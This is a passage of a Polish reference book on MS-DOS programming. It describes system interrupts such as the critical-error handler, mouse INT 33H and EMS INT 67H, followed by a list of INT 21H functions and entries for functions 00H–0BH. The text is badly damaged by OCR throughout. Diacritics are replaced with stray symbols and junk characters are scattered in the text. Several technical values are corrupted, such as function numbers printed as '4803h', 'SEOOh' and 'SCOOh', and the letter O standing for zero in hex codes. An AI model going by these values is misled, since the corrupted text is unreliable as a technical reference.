CS:0 musi zawierać adres przedrostka procesu (PSP). Odpowiednik: Funkcja DOS-owska 4CH wykonuje samš czynnoœć, ale bez koniecznoœci umieszczania w CS segmentu PSP, dlatego jest wygodniejsza w użyciu. Przerwanie: 21H Nazwa: Wywołanie funkcji MS-DOS Wywołanie: AH - numer funkcji Powrót: ? Opis: Przerwanie to służy do wywofywania funkcji systemowych. Dokładny opis tego przerwania znajduje się w następnym rozdziale. Przerwanie: 22H Nazwa: Zakończenie programu Wywolanie: Brak Powrót: Brak ' Opis: DOS wywoluje to przerwanie jeœli aktualnie wykonywany proees jest kończony funkcjami systemowymi OOH, 31H, 4CH Iub przerwaniami 20H i 27H. Możesz je przechwytywać, aby podczas kończenia pracy procesu była zwalniana dodatkowa pamięć przydzielona proceso- wi, odbfokowywane pliki, zapisywane informacje specjalne itd. Uwagi: Tego p ţzenvania nie należy wywolywać bezpoœrednio z programu. Przerwanie: ţ 23H Nazwa: Naciœnięcie znaku Control-C (CTRL-BREAK) Wywołanie: Brak Powrót: Brak Opis: Przerwanie to jest wywolywane w przypadku naciœnięcia klawiszy Control-C. W zależnoœci od wrażliwoœci systemu na te klawisze (Patrz funkcja sytemowa 33H). Normalnie proce- dura obsługi tego przerwania koriczy pracę procesu. Przechwytujšc przerwanie możesz za- blokować działanie tych klawisz (procedura obsługi składa się tylko z z IRET), albo na przy- kład zapyfać o potwierdzenie chęci zakoriczenia procesu. Przerwanie: 24H 1, Nazwa: Błšd krytyczny urzšdzenia Wywołanie: Patrz opis Powrót: Patrz opis Opis: Przerwanie to jest wywoływane przez DOS jeœli nastšpi krytyczny blšd dostępu do urzšdze- nia. Normalnie zadaje ono znane pytanie Abort Retry Ignore ? niszczšc przy okazji staran- nie budowany wyglšd ekranu (na œwiecie) i wymuszajšc od użytkownika chwycenie za słownik (w Polsce). Możesz temu zapobiec piszšc własnš procedurę obsługi przerwania. Procedura ta musi jednak spełniać kilka warunków: - Nie może korzystać z funkcji systemowych poza 01 H-OCH i 59H (jeœli użyje innych zosta- nie zniszczony stos MS-DOSa i nastšpi załamanie systemu). - Nie może zmieniać zawartoœci metryczki urzšdzenia - Musi zachować (lub odtworzyć) zawartoœć rejestrów BX,CX,DX,SP i rejestry segmentów - Na koricu procedura powinna umieszczać w rejestrze AL kod reakcji: 0 - IGNORE (zignorowanie błędu) 1- RETRY (ponowienie) 2 - ABORT (przerwanie programu) 3 - FAIL (poinformowanie o błędzie) Przy wywoływaniu przerwania DOS przekazuje informacje o stanie przerwania i o błędzie w następujšcy sposób: ES:BP - Metryczka urzšdzenia przy próbie dostępu do którego wystšpił błšd. DI - bity 0-7 zawierajš kod blędu (liczac od 20H - patrz kody blędów) AL - numer dysku, jeœli 7 bit AH = 0. (0=A,1=B, ..) AH - informacje o błędzie Znaczenie bitów jest następujšce: 7 6 5 4 3 2 1 0 0 _ 0: typ operacji: 0=odczyt 1=zapis 1-2: miejsce błędu na dysku. 00=pliki systemowe, O1=FAT, 10=katalog,11=obszar danych 3:1=dozwolene zakoriczenie przez FAIL _ 4:1=dozwolone zakoriczenie przez RETRY 5:1=dozwolone zakoriczenie przez IGNORE 7: typ urzšdzenia: 0=dysk,1=inne Jeœli bit 7=1, bity 0-6 nie sš okreœlone Ponadto na stosie przekazywana jest zawartoœć rejestrów w chwili wystapienia błędu w następujšcy sposób: ; f IP, CS, Znaczniki - powrót do DOSa, który dalej podejmie odpowiednie akcje AX, BX, CX, DX, SI, DI, BP, DS. ES - stan rejestrów w programie IP, CS, Znaczniki - powrót bezpoœrednio do programu Uwagi: Przerwanie 24H nie jest wywolywane, jeœli błšd nastšpi podczas przerwari 25Hl26H. Nowo- czesne systemy programowania takie jak Turbo Pascal+Turbo Vision umożliwiajš progra- mowšobsługę sytuacji krytycznych. 177 Przerwania 25HI26H Nazwa: Czytanie/Pisanie sektora dyskowego Wywotanie: AL - numer dysku (0=A,1=B, ...) DS:BX - adres bufora operacji dyskowych (DTA) CX - liczba sektorów DX - numer logiczny pierwszego sektora Powrót: Ustawiony znacznik C: AL - kod btędu (liczšc od 20H, p. kody błędów) Wyzerowany znacznik C: O.K. Opis: Przerwania umożliwiajš zapisanie lub odczytanie sektorów z dysku o numerze podanym w AL. Przerwania niszczš zawartoœć wszystkich rejestrów oprócz rejestrów segmentów. Uwagi: Używaj tych przerwari w ostatecznoœci, firma Microsoft nie gwarantuje, że ich postać w przyszłych wersjach systemu będzie taka sama. Podezas przerwania na stos kładziony jest rejestr znaczników. Aby zapobiec niekontrolowanemu wzrostowi stosu musisz po za- koriczeniu przerwania samemu go zdjšć. Przerwanie: 27H Nazwa: Koriczenie programu i pozostawanie w pamięci Wywołanie: CS - adres segmentu PSP DX - adres pierwszego bajtu powyżej programu liczony wobec CS Powrót: Brak Opis: Przerwanie powoduje zakoriczenie programu i pozostawienie go w pamięci. Maksymalny rozmiar programu pozostawianego w pamieci może wynosić 64 KB. Uwagi: Nie należy stosować tej funkcji do instalowania procedur obsługi przerwari 22H, 23H, 24H Odpowiednik: To przerwanie zostało zachowane tylko dla kompatybilnoœci z wersjami systemu poniżej 2.0. Funkcja systemowa 31 H wykonuje te same czynnoœci, nie nakfadajšc na program ograniczeri co do rozmiaru. Przerwanie: 28H Nazwa: Przerwa DOSa Wywofanie: Brak Powrót: Brak Opis: Przerwanie to jest wywotywane przez DOS, jeœli czeka na naciœnięcie klawisza i nie wyko- nuje żadnych innych operacji. Może być wykorzystane jako jedno z miejsc uaktywniania programów rezydentnych. Uwagi: Przerwanie nie jest udokumentowane, ale korzysta z niego instrukcja PRINT i większoœć profesjonalnych programów typu TSR. Podczas przenvanie nie można wykorzystywać fun- kcji systemowych OOH-OOC. Przerwanie: 29H Nazwa: Bezpoœrednie wyœwietlenie znaku Wywotanie: AL - kod znaku Powrót: Brak Opis: Przerwanie powoduje przesłanie znaku, o kodzie podanym w AL, na ekran (nie do strumie- nia wyjœciowego). Jeœli nie masz zamiaru kierowania wyniku działania programu do zbioru, to możesz je wykorzystywać jako szybszš wersję funkcji systemowej 02H. Uwagi: Przerwanie nie udokumentowane. 178 Przerwanie: 2EH Nazwa: Wykonanie polecenia systemowego Wywołanie: DS:SI - adres łaricucha zawierajšcego polecenie systemowe w postaci: długoœć polece- nia+1, polecenie, ODH Powrót: Brak Opis: Przerwanie wykonuje (powinno) polecenie systemowe przekazane pod adresem wskazy- wanym przez DS:SI. Przed jego wywołaniem należy obniżyć pamięć przydzielonš proceso- _ wi o kilka kilobajtów. Jest ono jedynš znanš metodš zmienienia z wnętrza procesu global- nego œrodowiska systemu operacyjnego (nie jego statycznej kop przekazywanej przy uru- chamianiu procesu) i praktycznie tylko w takim celu jest wywolywane. Wszystkie inne fun- kcje spełniane przez nie mogš być z powodzeniem uzyskane przy pomocy funkcji systemo- wej 4BH. Uwagi: Przerwanie nie jest udokumentowane i zachowuje się naprawdę bardzo dziwnie; niszczy rejestry SS i SP, wymaga bardzo dużego stosu i robi różne niespodzianki koriczšce się naj- częœciej zawieszeniem systemu. Jeœli koniecznie będziesz chciat z niego skorzystać, to uz- brój się w dużo cierpliwoœci, bo może zawodzić z zupełnie nieznanych powodów. Przerwanie: 2FH Nazwa: Obsługa równoczesnych procesów Wywołanie: AH = numer procesu 01 H - rezydentna częœć polecenia "PRINT" 02H - rezydentna częœć polecenia "ASSIGN" " ţ 03H - rezydentna częœć polecenia "SHARE" 80H - OFFH - dostępne dla innych procesów AL=0 Powrót: AL - stan zainstalowania OOH - niezainstalowany, można zainstalować 01 H - niezainstalowany, nie można zainstalować OFFH - zainstalowany Opis: Przerwanie organizuje równoczesnš pracę programów rezydentnych dostępnych z dowol- nego procesu. Pierwotnie dotyezyło tylko polecenia systemowego PRINT.Każdy proces in- staluje się w kolejce (poprzez kolejne przechwytywanie tego przerwania). W przypadku wy- wołania zlecenia proces sprawdza, czy zlecenie go dotyczy, jeœli nie to oddaje sterowanie poprzedniemu w kolejce. W rejestrze AL przekazywany jest kod zlecenia. Standardowo zle- cenie numer 0 oznacza pytanie o to, czy program jest zainstalowany. Ponadto dla częœei rezydentnej polecenia PRINT zdefiniowane sš następujšce operacje (wszystkie zlecenia mogš zwracać kody błędów w rejeslrze AX przy ustawionym znaczniku C): AL =1 Dolšczenia pliku do kolejki Wywołanie: DS:DX - adres pod którym znajdujš się 0 adres łaricucha w kodzie ASCIZ zawierajšcego nazwę pliku AL = 2 - Usunięcie pliku z kolejki Wywolanie: DS:DX - adres pod którym znajduje się adres łaricucha w kodzie ASCIZ zawierajšcego na- zwę pliku AL = 3 - Usunięcie wszystkich plików z kolejki i zakoriczenie drukowania AL = 4 - Sprawdzanie stanu. Zwraca kod blędu i zawiesza wszelkie drukowanie Powrót: DS:SI - Adres bloku zawierajšcego 64-bajtowe pełne nazwy (w kodzie ASCIZ) plików w ko- lejce. Koniec bloku jest zazanaczony łaricuchem pustym DX - liczba prób wydrukowania znaku AL = 5 - Koniec sprawdzania stanu. Powrót do drukowania 179 W rejestrze AX magš być zwracane następujšce kody błędów: AX Opis Błędu 1 Błędny numer zlecenia 2 Plik nie znaleziony 3 Katalog nie znaleziony _ 4 Zbyt wiele otwartych plików 5 Brak dostępu do pliku 6 Błędne dojœcie 8 Kolejka jest pełna 9 Urzšdzenie zajęte OCH Nazwa pliku przekracza 64 bajty OFH Błędna nazwa dysku Przerwanie: 33H Nazwa: Zarezerwowane do obsługi myszy w standardzie Microsoft Wywolanie: AL = numer funkcji parametry funkcji Powrót: W zależnoœci od funkcji Opis: Przerwanie to jest zarezerwowane przez firmę Microsoft do obsługi myszy. Przerwania jest podzielone na następujšce funkcje. Przed wywolaniem przerwania należy w rejestrze AX umieœcić numer odpowiedniej funkcji. AX Czynnoœć OOH Inicjalizacja myszy Powrót: AX = 0 - mysz zainstalowana OFFFFH (-1 ) - mysz nie zainstalowana BX - Iiczba przycisków 01 H Wyœwietlanie kursora myszy 02H Schowanie kursora myszy 03H Pytanie o położenie i status myszy Powrót BX - Stan przycisków (bit 0 - lewy, bit 1- prawy, bit 2 - centralny przycisk wciœnięty) CX - położenie poziome ' DX - polożenie pionowe 04H Ustawienie poczštkowego polożenia kursora myszy CX - pofożenie poziome , DX - położenie pionowe 05H Pytanie o wciœnięte przyciski BX - przycisk (0 - lewy,1- prawy, 2 centralny) Powrót: AX - Stan przycisku (bit 0 - lewy, bit 1- prawy, bit 2 centralny) BX - Licznik, ile razy przycisk był wcisnięty od czasu ostatniego wywolania CX - pofożenie poziome przy ostatnim wcisnięciu DX - polożenie pionowe przy ostatnim wcisnięciu 180 06H P anie o zwalniane przyciski B - przycisk (0 - lewy,1- prawy, 2 centralny) Powrot: AX - Stan przycisku (bit 0 - lewy, bit 1- prawy bit 2 centralny) BX - Licznik, ile razy przycisk był zwolniony od czasu ostatniego wywofania CX - położenie poziome przy ostatnim zwolnieniu DX - położenie pionowe przy ostatnim zwolnieniu 07H Ustalanie graficznych współrzędnych osi X CX - minimalne położenie poziome DX - maksymalne polożenie poziome 08H Ustalanie graficznych współrzędnych Osi Y CX - minimalne położenie pionowe DX - maksymalne polożenie pionowe 09H Definiowanie ksztaftu kursora myszy w trybie graficznym ţ ţţ;; BX - selektor poziomy CX - selektor pionowy ES:DX - adres 64-bałtowego obszaru definiujacego ksztaft kursora OAH Definiowanie kształtu kursora myszy w trybie tekstowym BX - typ kursora 0=programowy,1=sprzętowy ţ" CX - maska AND DX - maska XOR OBH Odczyţ liczników przemieszczenia myszy Powrót: CX - przemieszczenie poziome od ostatniego wywołania DX - przemieszczenie pionowe od ostatniego wywolania OCH Procedura asynchronicznej obsługi zdarzeri CX - typ zdarzeń, które maja być przesyłane procedurze (umieœć 7FH) ES:DX - adres Twojej procedury obsługujšcef mysz ODH Włšczenie emulacji pióra œwietlnego OEH Wyłšczenie emulacji pióra œwietlnego OFH Czułoœć myszy CX - szybkoœc pozioma DX - szybkoœć pionowa 10H Definiowanie okien ekranu CX - wspófrzędna pozioma lewego górnego punktu DX - wspótrzędna pionowa lewego górnego punktu SI - współrzędna pozioma prawego dolnego punktu DI - współrzędna pionowa prawego dolnego punktu 13H Ustalanie maksymalnego poziomu akceleracji DX - maksymalna szybkosć 14H Zmiana procedury asynchronicznej obsługi zdarzeń CX - typ zdarzen, które maja być przesyłane procedurze (umieœć 7FH) ES:DX - adres Twojej procedury obsługujšcef mysz Powrót: CX - typ zdarzeń, które byty przesyłane poprzedniej procedurze ES:DX - adres poprzednieţ procedury obsługujšcej mysz 15H Pytanie o rozmiar bufora stanu myszy Powrót: BX - rozmiar bufora dla funkcji 16H i 17H 16H Zapamiętanie stanu myszy ES:DX - adres bufora stanu myszy do wypełnienia 17H Przywrócenie poprzedniego stanu myszy ES:DX - adres bufora stanu myszy zawierajšcego poprzednio zachowane dane 181 18H Alternatywna procedura asynchronicznej obsługi zdarzeri CX t p zdarzeri, które maja być przesyłane procedurze (umieœć 7FH) ES:D - adres Twojej procedury obsługujšceł mysz Powrót: AX = 18H - procedura zainstalowana OFFFFH (-1 ) - błšd instalacji 19H P anie o procedurę asynchronicznej obsługi zdarzeri C - typ zdarzeri Powrót: CX - pasujacy typ zdarzeri(0 jeœli nie znaleziono żadnej procedury) ES:DX - adres odpowiadajacej procedury obsługi myszy 1 AH Ustalanie czułoœci myszy BX - prędkoœć pozioma CX - prędkoœć pozioma DX - próg podwójnej prędkoœci 1 BH Pylanie o czułoœć myszy Powrót: BX - prędkoœć pozioma ! CX - prędkoœć pozioma DX - prog podwójnej prędkoœci 1 CH Ustalenie przerw między kolejnymi wywotaniami przerwania myszy BX = 1- 0/s 2 - 30Is 4 - 50/s 8 -100/s 16 - 200Is ? 1 DH Ustalenie numeru strony graficznej myszy BX - numer strony 1 EH Pytanie o numer strony graficznej myszy Powrót: BX - numer strony 1 FH Zablokowanie programu obsługi myszy Powrót: AX = 1 FH - przerwanie zablokowane OFFFFH (-1 ) - nie można zablokować ES:DX - adres poprzedniej procedury obsługi przerwania 33H 20H Odblokowanie programu obsługi myszy - ' 21 H Przywrócenie stanu poczštkowego myszy Powrót: AX = 21 H - stan poczštkowy przywrócony OFFFFH (-1) - błšd przy przywracaniu stanu poczštkowego ' 24H Pytanie o typ myszy /Typ programu obsługi/IRQ# Powrót: BX - numer wersji programu obstugi CH = typ myszy CL - poziom przerwania sprzętowego myszy ( 0 dla PSI2) 7 Uwagi: Procedura obsługujšca 1o przerwanie nie należy do ROM BIOS-u, ale jest częœciš progra- mu obsługi urzšdzenia, który powinien być dostarczany razem z myszš. Również tam powi- nien znajdować się dokładniejszy opis przerwania. Więcej informacji na ten temat znaj- dziesz również w numerach 6-10/88 miesięcznika "Komputeţ. Przerwania 41 H,46H Nazwa: Tablica parametrów dysku twardego 0/1 ‹ 6 , .! .^i 182 ţr: Wywolanie: Brak Powrót: Brak Opis: Wektory odpowiadajšce tym przerwaniom wskazujš na tablice parametrów dysków twar- dych #0 i #1. Struktura tej tablicy jest następujšca: Offs Rozmiar Zawartoœć OOH 2 maksymalna liczba œcieżek 02H 1 maksymalna liczba głowic 03H 2 poczštkowa œcieżka zredukowanego zapisu 05H 2 poczštkowa œcieżka prekompensaeji zapisu 07H 1 maksymalna długoœć ECC 08H 1 bit 7=1: wyłšczone powtarzanie operacji i =1ů z k ţ nqH 1 wartoœć standardoweao oaraniczenia czasowego Przerwanie: 44H Nazwa: Znaki graficzne karty EGA Wywotanie: Brak Powrót: Brak Opis: Wektor tego przerwania wskazuje na wewnętrznš stukturę danych karty EGA. Definiowa- nie znaków w trybie graficznym może odbywać się przy pomocy funkcji 11 H przerwania 10H. Przerwanie: 4AH Nazwa: Adres alarmu użytkownika Wywołanie: Brak Powrót: Brak Opis: Wektor tego przerwania wskazuje na miejsce, w którym przechowywane sš informacje o alarmie budzika zegara czasu rzeezywistego (RTC). Ustawianie i kasowanie budzika od- bywa się przy pomocy przerwania 1AH . :ţr=ţ= , Przerwanie: 50H Nazwa: Przerwanie RTC Wywołanie: Brak Powrót: Brak Opis: Jest to przerwanie sprzętowe o poziomie 8 (IRQ 8), wywolywane przez zegar czasu rzeczy- wistego (RTC). ,: Przerwanie: 67H Nazwa: Obsługa górnej pamięci 183 Wywołanie: AH - numer funkcji Parametry funkcji Powrót: W zależnoœci od funkcji Opis: Przerwanie służy do obsługi górnej pamięci. Każda z funkcji zwraca w rejestrze AH kod sta- tusu EMM (Expanede Memory Menager - program obsłgi górnej pamięci) ostatnio wykony- wanej operacji. Znaczenie kodu jest opisane w tabeli: Przerwanie skfada się z następujšcych funkcji Funkcja 40H Pytanie o status EMM Wywołanie: AH = 40H Powrót: AH - status EMM Funkcja 41 H Pobierz fizyczny adres segmentu EMS (Expanded Memeory Specification) Wywołanie: AH = 41 H Powrót: AH - status EMM BX - adres segmentu 184 Funkcja 42H Pytanie o catkowitšldostępnš pamięć EMS Wywotanie: AH = 42H Powrót: AH - status EMM DX - całkowita liczba stron (16KB) EMS BX - liczba aktualnie dostępnych stron EMS Funkcja 43H Otwórz dojœcie EMM i przydziel pamięć Wywotanie: AH = 43H BX - liczba żšdanych stron Powrót: AH - status EMM DX - numer dojœcia EMM ţ ;&, Funkcja 44H Mapa pamięci; odwzorowanie numeru strony logicznej na adres fizyczny Wywotanie: AH = 44H AL - fizyczny numer strony (0-3) BX - logiczny numer strony dojœcia ` fţ DX - numer dojœcia EMM Powrót: AH - status EMM Funkcja 45H Zamknięcie dojœcia EMM i zwolnienie pamięci Wywoianie: AH = 45H DX - numer dojœcia EMM Powrót: AH - status EMM "ţ Funkcja 46H Pytanie o numer wersji EMM Wywotanie: AH = 46H Powrót: AH - status EMM AL - numer wersji EMM w kodzie BCD (np 50H - 5.0) Funkcja 47H Zapamiętanie zawartoœci mapy pamięci Wywotanie: AH = 47H DX - numer dojœcia EMM Powrót: AH - status EMM Funkcja 48H Odtworzenie zawartoœci mapy pamięci 185 Wywołanie: AH = 48H DX - numer dojœcia EMM Powrót: AH - status EMM Funkcja 4BH r ů Pytanie o liczbę stron posiadanych przez dojœcie Wywołanie: AH = 4BH DX - numer dojœcia EMM Powrót: AH - status EMM BX - liczba logicznych 16KB stron posiadanych przez dojœcie Funkcja 4CH Pytanie o liczbę otwartych dojœć EMM Wywołanie: AH = 4CH Powrót: AH - status EMM BX - liczba otwartych dojœć EMM Funkcja 4DH Pobranie informacji o stronach dla wszystkich dojœć Wywołanie: AH = 4DH ES:DI - adres bufora (rozmiar bufora zależy od liczby otwartych dojœć EMM - p. funkcja 4CH) Powrót: AH - status EMM BX - liczba otwartych dojœć EMM ES:DI - w butorze o wielkoœci 4*BX znajdujš się dla każdego dojœcia EMM jego numer i li- czba posiadanych stron logicznych Funkcja 4EH PobranielUstawienie mapy całej pamięci. Funkcja przeznaczona do obsługi pracy wielo - zadaniowej. Zawartoœć mapy jest zależna od wielu czynników sprzętowych Wywolanie: AH = 4EH AL = kod pod-funkcji 0 - pobranie mapy do bufora wskazywanego przez ES:DI 1- ustawienie mapy z bufora wskazywanego przez ES:DI 2 - pobranie i ustawienie mapy (połšczenie pod-funkcji 0 i 1 ) ` 3 - pyfanie o rozmiar bufora używanego przez pod-funkcje 0-2 Powrót: AH - status EMM AL - rozmiar bufora (dla pod-funkcji 3) ES:DI - Adres bufora zawierajšcego mapę (dla pod-funkcji 0 i 2) Przerwanie 21 H Poniżej znajduje się spis iunkcji DOSowskiego przerwania 21h. Funkcje te sš dostępne po wywołaniu przerwania 21h z numerem funkcji w rejestrze AH, ewentualnie z numerem podfunkcji w rejestrze AL, z odpowiednimi parametrami. Ponie- waż spis jest sporzšdzony według numerów funkcji wczeœniej przedstawię podział funkcji na grupy, według zadari, które ; spełniajš: 186 Standardowe znakowe w_ejœcielwyjœcie: 01 h Czytanie znaku z echem 02h Wypisywanie znaku 03h Czytanie znaku z urzšdzenia dodatkowego 04h Wypisywanie znaku do urzšdzenia dodatkowego 05h Drukowanie znaku _ _ 06h Bezpoœrednie korzystanie z konsoli 07h Bezpoœrednie czytanie z konsoli 08h Czytanie znaku 09h Wypisywanie tekstu OAh Czytanie wiersza z klawiatury OBh Sprawdzanie stanu klawiatury OCh Opróżnianie butora i czytanie z klawiatury 4BOOh ţadowanie i uruchamianie programu 4803h ţadowanie nakładki 3 4Ch Koriczenie procesu 4Dh Pobieranie kodu powrotu procesu potomnego 62h Pobieranie adresu PSP Operacje na plikach używajace dojœć: 3Ch Tworzenie dojœcia 3Dh Otwieranie dojœcia 3Eh Zamykanie dojœcia 3Fh __ Czytanie przez dojœcie 40h Pisanie przez dojœcie 42h Ustawianie wskaŸnika w pliku 45h Kopiowanie dojœcia 46h Zmiana dojœcia 5Ah Tworzenie pliku roboczego 5Bh Tworzenie nowego pliku ţ 187 67H Ustawienie maksymalnej liczby otwartych dojœć 68H Stabilizowanie pliku 6CH Rozszerzone otwieranie dojœcia Dziatania na katalogach: 39h Tworzenie katalogu 3Ah Usuwanie katalogu 3Bh Ustalanie katalogu bieżšcego 41 h Usuwanie pozycji z katalogu 43h Sprawdzanie lub zmiana atrybutów pliku 47h Pytanie o katalog bieżšcy 4Eh Znajdowanie pierwszego pliku w katalogu 4Fh Znajdowanie następnego pliku w katalogu , 56h Zmiana pozycji w katalogu 57h Sprawdzanie lub zmiana daty i czasu modyfikacji pliku Funkcje sieciowe: 4409h Pytanie, czy urzšdzenie blokowe jest dostępne przez sieć 440Ah Pytanie, czy plik lub urzšdzenie sš dostępne przez sieć SEOOh Pytanie o nazwę stanowiska roboczego 5E02h Ustalanie znaków sterujšcych drukarkš 5f02h Pytanie o pozycję listy przypisari 188 5F03h Dodanie pozycji do listy przypisań 5F04h Usuwanie pozycji z listy przypisań ' ţ:ţ Y?, r: 189 A 36h Pytanie o rozmiar wolnego obszaru na dysku 38h P anie o kod krƒ u lub ustalanie te o kodu 9 54h Pytanie o stan sygnalizacji weryfikacji SCOOh Rezerwowanie częœci pliku 5C01h Zwalnianie częœci pliku 59h Pytanie o pełny kod błędu 65H Pobierz rozszerzone informacje o kraju 66H UstalIPobierz globalnš matrycę znaków Funkcje nie udokumentowane: 1 fh Pytanie o adres bloku informacji o urzšdzeniu dla bieżšcego dysku 32h Pytanie o adres bloku informacji o urzšdzeniu 34h Pytanie o adres sygnalizatora pracy systemu 37h Ustaw/Pobierz znak przekazywania parametrów 50h Ustaw segment PSP 51h Pobierz segment PSP 52h Pobierz adres listy adresów MS-DOS 55h Utwórz PSP Poniżej na kolejnych stronach przedstawione sšfunkcje systemu DOS. Przy opisie funkcji podane sš parametry wejœciowe, I wyjœciowe oraz etekty działania funkcji. Funkcje, które nie znajdujš się w `Microsoft MS-DOS Programmers Reterence" będę ; nazywał funkcjami nieudokumentowanymi. Działajš one wprawdzie w obecnych wersjach systemu, ale nie ma żadnej pewnoœci, iż będš działały w następnych. Przy funkcjach zachowanych dla kompatybilnoœci z poprzednimi wersjami podany jest nowszy odpowiednik tej funkcji. Jeœli w opisie funkcji występuje pojęcie dotychczas Ci nie znane, to jest ono wyjaœniane ţ poniżej. Funkcja OOH Nazwa: Zakoriczenie programu ! Wejœcie: AH = OOH CS = Adres przedrostka procesu (PSP) Powrót: Brak Opis: Funkcja koriczy wykonywany proces. Zwalnia pamieć przydzielonš procesowi,zamyka wszystkie otwarte pliki i oddaje sterowanie procesowi macierzystemu. Uwagi: Jeœli Twój program zmieniał długoœć plikćw to przed wywoianiem tej funkcji musisz sam je zamknšć przy pomocy funkcji 10h. Jeœli tego nie zrobisz pliki te będš miały podanš niewta- œciwš długoœć w katalogu. Odpowiednik: Funkcja 4C - koriczenie procesu jest nowszš funkcjš służšcš do tego samego celu. Funkcja 01H Nazwa: Czytanie znaku z echem Wejœcie: AH = 01 H ; Powrót: AL = Przeczytany znak 190 ţ;: Opis: Funkcja czeka na znak w standardowym strumieniu wejœciowym i kopiuje ten znak do standardowego strumienia wyjœciowego. Jeœli tym znakiem jest Control-C to wywoluje prze- rwanie 23H. Uwagi: Jak pewnie pamiętasz w systemie operacyjnym zdefiniowane sš standardowe urzšdzenia, między innymi konsola użytkownika (con) , urzšdzenie dotšczone do złšcza szeregowego (comm lub aux) i drukarka (prn). Ponieważ w systemie operacyjnym nie ma różnicy między plikami, a urzšdzeniami, zarówno urzšdzenia jak i używane pliki majš w programie przypi- sane numery zwane dojœciami. Przy uruchamianiu nowego programu system operacyjny tworzy tablicę dojœć. Jej rozmiar i adres znajduje się w przedrostku procesu (PSP) pod ad- resem 32H. Tablica ta ma zazwyczaj 20 pozycji, z czego dojœcia o numerach 0-4 sš używa- ne dla zdefiniowania standardowych strumieni (dla plików zostajš więc dojœcia o numerach 5-19). Znaczenie standardowych strumieni jest wyjaœnione poniżej: Znaczenie strumieni można zmieniać przy pomocy funkcji 46H. Tak więc standardowy strumieri wejœciowy może byE . powišzany z plikiem, a standardowy strumieri wyjœciowy z drukarkš. Jednak zazwyczaj standardowy strumieri wejœciowy i wyjœciowy oznaczajš konsolę (konkretnie klawiaturę i ekran). Funkcja 02H Nazwa: Wypisywanie znaku Wywolanie: AH = 02H DL = Kod znaku do wypisania Powrót: Brak Opis: Przesyla znak, którego kod znajduje się w rejestrze DL do standardowego strumienia wyj- œciowego. Jeœli podczas tej funkcji naciœnięty jest Control-C to wywoluje ona przerwanie 23H. Funkcja 03H ţ'- ţţs Nazwa: Czytanie znaku z urzšdzenia dodatkowego. Wywolanie: AH = 03H Powrót: AL = Kod znaku otrzymanego z urzšdzenia dodatkowego. Opis: Funkcja czeka na znak ze strumienia dodatkowego i zwraca go w rejestrze AL. Nie zwraca kodu błędu ani statusu. Naciœnięcie Control - C podczas tej funkcji wywołuje przerwanie 23H. -:ţ. Funkcja 04H ;ţ: Nazwa: Wypisywanie znaku do urzšdzenia dodatkowego Wywołanie: AH = 04H DL = Kod znaku dla urzšdzenia dodatkowego Powrót: Brak , "ţ 191 Opis: Funkcja wysyła znak zawarty w DL do standardowego strumienia dodatkowego. Nie zwra- ca kodu błędu ani statusu. Naciœnięcie Control - C powoduje wywofanie przerwania 23H Funkcja 05H Nazwa: Drukowanie znaku Wywolanie: AH = 05H DL = Kod znaku do wydrukowania Powrót: Brak Opis: Przesyła znak z rejestru DL do standardowego strumienia drukarki. Funkcja ta nie zwraca kodu btędu ani stanu. Naciœnięcie Control - C podczas funkcji poţţoduje wywotanie prze- rwania 23H. Funkcja O6H Nazwa: Bezpoœrednie korzystanie z konsoli Wywołanie: AH = 06H DL - Patrz Opis Powrót: AL Jeœli przed wywołaniem funkcji w rejestrze DL była wartoœć OFFH, to nie ustawiony znacz- nik Z oznacza, że w AL znajduje się znak ze standardowego strumienia wejœciowego. Usta- wiony znacznik zero oznacza, że w standardowym strumieniu wejœciowym nie było żadne- go znaku. W takim przypadku w AI wstawiana jest wartoœć 0. Opis: Działanie funkcji zależy od wartoœci, którš przekażemy jej w rejestrze DL. Jeœli w rejestrze œ" DL była wartoœć OFFH to funkcja zwraca wartoœci w sposób opisany powyżej. Jeœli w reje- strze DL byfa inna wielkoœć niż OFFH wtedy znak zawarty w DL jest przesyfany do stand- ardowego strumienia wyjœciowego. Uwagi: Funkcja nie reaguje na naciœnięcie Control - C ; Funkcja 07H Nazwa: Bezpoœrednie czytanie z konsoli Wywołanie: AH = 07H Powrót: AL = Znak z klawiatury Opis: Funkcja czeka na znak do odczytu ze standardowego strumienia wejœciowego, następnie zwraca jego kod w rejestrze AL. Uwagi: Funkcja nie kieruje odczytanego znaku do strumienia wyjœciowego (nie vţœwietla go na ekranie) ani nie reaguje na znak Control - C (niezależnie od stanu przełšcznika BREAK) traktujšc go jako normalny znak. Jest więc na przyktad przydatna w sytuacji gdy należy ' wprowadzić do programu jakieœ hasło. Funkcja 08H Nazwa: Czytanie znaku Wywotan‹e: AH = 08H Powrót: AL = Znak z klawiatury Opis: Funkcja ezeka na znak ze standardowego strumien!a wejœciowego, następnie zwraca jego wartoœć w AL. Naciœnięcie Control - C powoduje wywolanie przerwania 23H. Uwagi: Funkcja nie przekazuje znaku do standardowego urzšdzenia wyjœciowego. (Nie wyœwietla go na ekranie). Funkcja 09H Nazwa: Wypisywanie tekstu Wywołanie: AH = 09 DS:DX - Adres poczštku łaricucha do wyœwietlenia. Powrót: Brak Opis: Funkcja wysyła do standardowego strumienia wyjœciowego łaricuch znaków zakoriczony znakiem '$' (który sam nie jest wyœwietlany). Poczštek tego łaricucha wskazuje para reje- ţ, ;;ţ strów DS:DX. Wypisywanie można przerwać przez naciœnięcie Control - C . Wznowienie wypisywania po przerwaniu 23H (obsługiwanym przez program) następuje od nowego wier- sza. Funkcja OAH Nazwa: Czytanie wiersza z klawiatury Wywołanie: H = OAH DS:DX - Adres bufora strumienia wejœciowego Powrót: Brak ţ' Opis: Funkcja pobiera łaricuch znaków ze standardowego strumienia wejœciowego. Kopiuje je do bufora zdefiniowanego przez DS:DX. Bufor musi mieć następujšcš formę: 1 bit Maksymalna liczba znaków w buforze łšcznie ze znakiem CR, który musi znaleŸć się na koricu 2 bit Liczba przecz anych znaków w buforze bez CR (Tš wartoœć ustawia funkcja po za oriczeniu czytania znaków) 3 bit Wprowadzone znaki Znaki sš odczytywane ze standardowego strumienia wejœciowego, aż do momentu napotkania znaku CR (ODH). Jeœli w buforze pozostanie wolny tylko jeden bajt to wszystkie pozostałe odczytane znaki sš ignorowane, a do standardowego strumienia wyjœciowego przesyłany jest znak BEL (07H). Jeœli standardowym strumieniem wejœciowym i wyjœciowym jest _ konsola to wprowadzany tekst może być edytowany przy pomocy klawiszy Delete i Backspace, a w przypadku przepełniena ' ţ bufora następuje sygnał dŸwiękowy. Funkcja jest wrażliwa na Gontrol - C. Naciœnięcie tych klawiszy powofuje wywotanie przerwania 23H. Funkcja OBH Nazwa: Sprawdzanie stanu klawiatury 